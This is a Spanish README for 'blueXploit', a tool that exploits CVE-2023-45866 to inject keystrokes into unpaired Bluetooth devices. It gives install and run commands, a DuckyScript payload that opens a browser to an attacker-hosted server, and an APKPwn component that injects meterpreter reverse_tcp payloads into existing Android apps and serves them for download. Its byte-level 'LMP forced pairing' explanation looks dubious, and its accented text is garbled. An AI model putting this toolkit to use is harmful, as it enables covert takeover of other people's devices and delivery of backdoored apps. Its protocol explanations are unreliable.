## https://sploitus.com/exploit?id=6B5121FA-0A74-5F25-AAB6-051FC8605C30
# blueXploit
![image](https://github.com/user-attachments/assets/f62fb868-695e-4968-9e7f-8f84d710ef4d)
[blueXploit video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** es un Exploit dise帽ado para explotar vulnerabilidades criticas en el protocolo Bluetooth, Permitiendo la inyecci贸n de pulsaciones de teclas sin necesidad de emparejamiento abriendo la puerta a ataques mas complejos.
# Funcionamiento de la vulnerabilidad
Estas vulnerabilidades [CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/), CVE-2024-21306) cr铆ticas permiten a un atacante inyectar pulsaciones de teclas y aceptar solicitudes de emparejamiento sin confirmaci贸n del usuario. Esto afecta la seguridad m煤ltiples sistemas operativos de manera critica.
## Sistemas Afectados
- **Android**: 4.2 a 14 (11-14 si no tiene el parche 2023-12-05)
- **Linux**: Requiere parche en BlueZ.
- **macOS**: 12 a 14.2 (soluci贸n parcial).
- **iOS**: 16 (vulnerable), parcheado en iOS 17.2.
- **Windows**: Solucionado en el "Patch Tuesday" de enero 2024.
## Impacto
- Esta vulnerabilidad permite control remoto de dispositivos inyectando pulsaciones de teclas incluso sin aceptar el emparejamiento via Bluetooth forzando la conexion y ejecutando comandos de teclas.
## Ejemplos de Ataques
- **Ejecuci贸n de comandos remotos**: Control de dispositivos vulnerables mediante pulsaciones inyectadas en los cuales
los vectores de ataque son multiples tales como obtener una **Shell o incluso instalar aplicaciones maliciosas**.
- **Ataques de denegaci贸n de servicio (DDoS)**: Saturaci贸n de dispositivos con solicitudes de emparejamiento.
## Mitigaci贸n
- Actualizar dispositivos con los 煤ltimos parches del sistema.
- Desactivar Bluetooth cuando no est茅 en uso (Esto impide la ejecuci贸n de algun Exploit para esta Vulnerabilidad.
- Evitar emparejamientos con dispositivos desconocidos.
# blueXploit - Uso y demostraci贸n
- Basado en el [Exploit original](https://github.com/marcnewlin/hi_my_name_is_keyboard)
- Instalaci贸n de dependencias
```bash
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## Uso APKPwn + blueXploit
**BlueXploit** incluye herramientas dise帽adas para explotar vulnerabilidades en dispositivos Android, ofreciendo dos componentes principales y un programa adicional llamado **apkpwn_injector**, ubicado en la carpeta **injector**.
### Caracter铆sticas de APKPwn
- Automatiza la creaci贸n de payloads **android/meterpreter/reverse_tcp** utilizando **msfvenom**.
- Inyecta estos payloads en aplicaciones `.apk` existentes en la carpeta **apk_clean**.
- Configura un servidor local para facilitar la descarga de las aplicaciones maliciosas generadas.
Estas funcionalidades permiten un flujo de ataque eficiente y simplificado en entornos controlados o para pruebas de penetraci贸n.
![image](https://github.com/user-attachments/assets/45828649-9ea4-4131-988c-c90a9429a68f)
```bash
cd injector
python3 apkpwn_injector.py
```
## Crear o Modificar duckypayload
Los comandos de teclas ejecuados en blueXploit ser谩n cargados desde la carpeta **/injector/payloads/** en formato **.txt** con una sintaxis simple y facil de comprender
### Ejemplo de duckypayload
```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
Cambiando la direcci贸n ip, por la direccion donde se aloja el servidor
Detecci贸n y enumeraci贸n de dispositivos
```bash
bluetoothctl
```
Escanear dispositivos Bluetooth
```bash
scan on
```
Ejecuci贸n
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
Posteriormente para escojer el payload requerido y previamente configurado
## Demostraci贸n
Toda la demostraci贸n se encuentra en [video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
## Herramientas utilizadas
- Raspberry PI 4
- OS Kali Linux ARM64
# Explicaci贸n de CVE-2023-45866
esta vulnerabilidad se explota a nivel bajo del protocolo Bluetooth, manipulando principalmente el perfil HID y el protocolo L2CAP para inyectar teclas en un dispositivo v铆ctima.
## 1. Protocolo Bluetooth a Bajo Nivel
La pila de Bluetooth incluye varias capas, como el Link Manager Protocol (LMP), Host Controller Interface (HCI) y L2CAP. El ataque a esta vuln utiliza principalmente los 煤ltimos dos
- **HCI** : se manipula la configuraci贸n del adaptador para que se presente como un dispositivo HID leg铆timo.
- **L2CAP**: Responsable del multiplexado de datos entre dispositivos, L2CAP usado el canal 17 (Control HID) y el 19 (Interrupt HID) para la comunicaci贸n HID, que se pueden explotar para enviar secuencias de teclas.
## Explotacion de CVE-2023-45866
el CVE-2023-45866 es una vulnerabilidad en el Link Manager Protocol (LMP), explotada mediante un ataque de "Forced Pairing". A continuaci贸n, se detalla t茅cnicamente c贸mo se lleva a cabo:
- **LMP gestiona solicitudes de emparejamiento y configuraciones de enlace**.
- Se envian paquetes LMP malformados o no autenticados para forzar el emparejamiento de esta manera
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
En esta trama de datos:
- `0x01`: LMP pairing request
- `0x01`: LMP auntentication request (PIN)
- `0x00 0x00 0x00 0x00`: Informacion de PIN debil, usualmente es 0000
En este caso el exploit se aprovecha de la falta de configuraci贸n y autenticaci贸n ante este paquete por lo cual termina por retornar:
```bash
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
En esta trama de datos:
- `0x02`: LMP pairing request **ACCEPTED**
- `0x00 0x00 0x00 0x00`: Informacion de PIN malformado de retorno
Si la clave no es validada correctamente, la conexi贸n se establece pero sin realizar un emparejamiento real entonces se puede enviar un paquete LMP de emparejamiento forzado tal que as铆:
```bash
LMP Forced Pairing: 0x03 0x01 0x0000
```
Entonces se puede forzar la autenticaci贸n usando claves previamente filtradas (como "0000") y establecer un canal de comunicaci贸n cifrada, logrando emparejar los dispositivos sin pasar por un proceso de verificaci贸n adecuado
**Lo cual genera un emparejamiento sin que el usuario lo sepa e incluso sin ninguna ventana o notificaci贸n de emparejamiento**
El error en este CVE radica en que ciertos dispositivos no validan adecuadamente las solicitudes LMP de autenticaci贸n o terminan reutilizando claves viejas.
Por lo cual una vez emparejado con el dispoitivo, Bang!, El resto es pan comido por lo cual en el codigo de **blueXploit.py** el adaptador y el dispositivo actuan y falsifican datos de indentficaci贸n, en este caso se ejecutan comandos como:
```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # Clase HID (teclado)
```
Codigo de blueXploit
```python
# configure name and class
log.status("Configurando la interfaz: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 sin especificar 0x25 HID device 0x40 Keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) #Gets name
```
## Inyecci贸n de datos HID:
```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
Explicaci贸n de trama de bytes HID:
:`a10100001e000000000000`
- `a1`: Especifica el tipo de HID report
- `01` Especifica el uso de interfaz HID para un dato entrante
- `00` Keypress o Keyrelease
- `00 1e 00 00 00 00`: Indican el valor en hexadecimal donde `1e` corresponde a la letra `a`
Posteriormente se recive un **ACK** pera verificar que la transmisi贸n fue recibida con exito
- blueXploit integra un mecanismo de Reconexi贸n y reenv铆o de datos con el fin de tener una comunicaci贸n estable y sin perdida de datos, por lo cual si se presenta una desconexi贸n, El programa se reconecta y sigue enviando datos HID desde la posicion o caracter previo.
> **Advertencia**: Este material y las t茅cnicas descritas en este repositorio son **estrictamente para fines educativos y de investigaci贸n**. El uso de herramientas de penetraci贸n y explotaci贸n debe realizarse solo en sistemas que **tienes permiso expl铆cito** para evaluar. El uso no autorizado de estas t茅cnicas en sistemas ajenos est谩 **prohibido** y es **ilegal** en muchas jurisdicciones. Cualquier da帽o o impacto negativo causado por el uso inapropiado de este contenido es responsabilidad exclusiva del usuario.
> Se recomienda a los usuarios que trabajen en entornos controlados, como **laboratorios de pruebas**, y que cumplan con todas las leyes y regulaciones locales relacionadas con la seguridad inform谩tica y el hacking 茅tico. ***happy hacking :D***